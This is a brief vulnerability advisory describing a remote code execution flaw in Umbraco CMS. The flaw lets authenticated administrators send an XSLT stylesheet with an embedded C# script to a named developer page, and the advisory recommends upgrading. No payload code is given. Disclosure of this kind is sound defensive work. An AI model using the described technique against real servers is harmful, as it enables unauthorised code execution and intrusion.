Umbraco CMS – Remote Code Execution by authenticated administrators

A vulnerability in Umbraco CMS allows authenticated administrators to execute arbitrary code on the server. This is achieved by sending a specially crafted payload to the vulnerable web page. The payload is an XSLT stylesheet containing a C# script that executes the calc.exe program. The vulnerable web page is located at /umbraco/developer/Xslt/xsltVisualize.aspx.

Mitigation:

Upgrade to the latest version of Umbraco CMS.
